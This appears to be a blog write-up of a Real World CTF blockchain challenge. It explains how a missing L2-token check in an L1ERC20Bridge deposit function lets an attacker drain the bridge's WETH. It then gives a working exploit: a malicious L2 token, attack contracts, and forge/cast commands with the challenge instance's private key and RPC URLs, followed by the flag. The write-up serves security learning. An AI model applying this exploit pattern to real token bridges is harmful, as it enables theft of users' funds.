analysis
function deploy(address system) internal returns (address challenge) {
vm.createSelectFork(vm.envString("L1_RPC"));
vm.startBroadcast(system);
address relayer = getAdditionalAddress(0);
L1CrossDomainMessenger l1messenger = new L1CrossDomainMessenger(relayer);
WETH weth = new WETH();
L1ERC20Bridge l1Bridge =
new L1ERC20Bridge(address(l1messenger), Lib_PredeployAddresses.L2_ERC20_BRIDGE, address(weth));
weth.deposit{value: 2 ether}();
weth.approve(address(l1Bridge), 2 ether);
l1Bridge.depositERC20(address(weth), Lib_PredeployAddresses.L2_WETH, 2 ether);
challenge = address(new Challenge(address(l1Bridge), address(l1messenger), address(weth)));
vm.stopBroadcast();
}
contract Challenge {
address public immutable BRIDGE;
address public immutable MESSENGER;
address public immutable WETH;
constructor(address bridge, address messenger, address weth) {
BRIDGE = bridge;
MESSENGER = messenger;
WETH = weth;
}
function isSolved() external view returns (bool) {
return IERC20(WETH).balanceOf(BRIDGE) == 0;
}
}
Our goal is to steal the 2 weth stored in L1Bridge.
root cause
contract L1ERC20Bridge is IL1ERC20Bridge, CrossDomainEnabled {
function _initiateERC20Deposit(address _l1Token, address _l2Token, address _from, address _to, uint256 _amount)
internal
{
IERC20(_l1Token).safeTransferFrom(_from, address(this), _amount);
bytes memory message;
if (_l1Token == weth) {
message = abi.encodeWithSelector(
IL2ERC20Bridge.finalizeDeposit.selector, address(0), Lib_PredeployAddresses.L2_WETH, _from, _to, _amount
);
} else {
message =
abi.encodeWithSelector(IL2ERC20Bridge.finalizeDeposit.selector, _l1Token, _l2Token, _from, _to, _amount);
}
sendCrossDomainMessage(l2TokenBridge, message);
deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] + _amount;
emit ERC20DepositInitiated(_l1Token, _l2Token, _from, _to, _amount);
}
In L1ERC20Bridge, _initiateERC20Deposit does not check if _l2Token is L2_WETH when its _l1Token equals weth.
As a result, L2_WETH is minted in the L2 chain, but deposits[weth][non L2_weth] of the L1 chain is updated.
If we burn L2_WETH when we return from L2 to L1, it becomes deposits[L1_weth][L2_weth] -= amount
If we burn non L2_weth, it becomes deposits[L1_weth][non L2_weth] -= amount
We can deploy the malicious contract for the non L2_weth, providing us with infinite minting.
Consequently, we can drain the weth held by the bridge as much as we send the amount of the weth to the L2.
solve
contract MyToken is IL2StandardERC20, ERC20 {
address public l1Token;
constructor(address _l1Token, string memory _name, string memory _symbol) ERC20(_name, _symbol) {
l1Token = _l1Token;
mint(msg.sender, 2 ether);
}
function supportsInterface(bytes4 _interfaceId) public pure returns (bool) {
bytes4 firstSupportedInterface = bytes4(keccak256("supportsInterface(bytes4)")); // ERC165
bytes4 secondSupportedInterface =
IL2StandardERC20.l1Token.selector ^ IL2StandardERC20.mint.selector ^ IL2StandardERC20.burn.selector;
return _interfaceId == firstSupportedInterface || _interfaceId == secondSupportedInterface;
}
function mint(address _to, uint256 _amount) public virtual {
_mint(_to, _amount);
emit Mint(_to, _amount);
}
function burn(address _from, uint256 _amount) public virtual {
_burn(_from, _amount);
emit Burn(_from, _amount);
}
}
contract AttackL2 {
address internal constant L2_CROSS_DOMAIN_MESSENGER = 0x420000000000000000000000000000000000CAFe;
address internal constant L2_ERC20_BRIDGE = 0x420000000000000000000000000000000000baBe;
address internal constant L2_WETH = payable(0xDeadDeAddeAddEAddeadDEaDDEAdDeaDDeAD0000);
MyToken public myToken;
L2ERC20Bridge public l2Bridge = L2ERC20Bridge(0x420000000000000000000000000000000000baBe);
constructor (address l1Weth) {
myToken = new MyToken(l1Weth, "g", "g");
}
function attack() public {
l2Bridge.withdrawTo(L2_WETH, address(this), 2 ether);
l2Bridge.withdrawTo(address(myToken), address(this), 2 ether);
}
}
contract AttackL1 {
Challenge public chall;
L1ERC20Bridge public l1Bridge;
WETH public weth;
constructor (address challenge) payable {
chall = Challenge(challenge);
l1Bridge = L1ERC20Bridge(chall.BRIDGE());
weth = WETH(payable(chall.WETH()));
weth.deposit{value: 2 ether}();
}
function attack(address l2Token, address attacker) public {
weth.approve(address(l1Bridge), 4 ether);
l1Bridge.depositERC20To(address(weth), l2Token, attacker, 2 ether);
}
}
forge create AttackL2 --private-key "0x6ebc7473272ac5cab0bdb4f00b90f01a80525e3b2c889d438a409c8bdd56b672" --rpc-url "http://47.251.56.125:8545/YmjZZzFkERScgqedKjffkurc/l2" --constructor-args "0xcB9B043B2e1fE63C5750bc7CCc34b0975D311F55"
forge create AttackL1 --private-key "0x6ebc7473272ac5cab0bdb4f00b90f01a80525e3b2c889d438a409c8bdd56b672" --rpc-url "http://47.251.56.125:8545/YmjZZzFkERScgqedKjffkurc/l1" --value 2ether --constructor-args "0xFF0E79fbD76457dADDF9176dE51C8635639A6e1c"
cast send "0x914334f7459449a02Ac5Fcac9b141422e5843363" --private-key "0x6ebc7473272ac5cab0bdb4f00b90f01a80525e3b2c889d438a409c8bdd56b672" --rpc-url "http://47.251.56.125:8545/YmjZZzFkERScgqedKjffkurc/l1" "attack(address,address)" "0x6064D7A2ddf3424BBEe75722952b4A28A00a67F3" "0x914334f7459449a02Ac5Fcac9b141422e5843363"
cast send "0x914334f7459449a02Ac5Fcac9b141422e5843363" --private-key "0x6ebc7473272ac5cab0bdb4f00b90f01a80525e3b2c889d438a409c8bdd56b672" --rpc-url "http://47.251.56.125:8545/YmjZZzFkERScgqedKjffkurc/l2" "attack()"
rwctf{yoU_draINED_BriD6E}
'writeups' 카테고리의 다른 글
LACTF 2024 - zerocoin, remi-s world (0) | 2024.02.19 |
---|---|
DiceCTF 2024 Quals - floordrop(blockchain) (0) | 2024.02.05 |
2024MoveCTF (0) | 2024.01.28 |
2023 X-mas CTF (web3 - alpha hunter) (0) | 2023.12.31 |
0CTF/TCTF 2023 - misc(ctar) (0) | 2023.12.11 |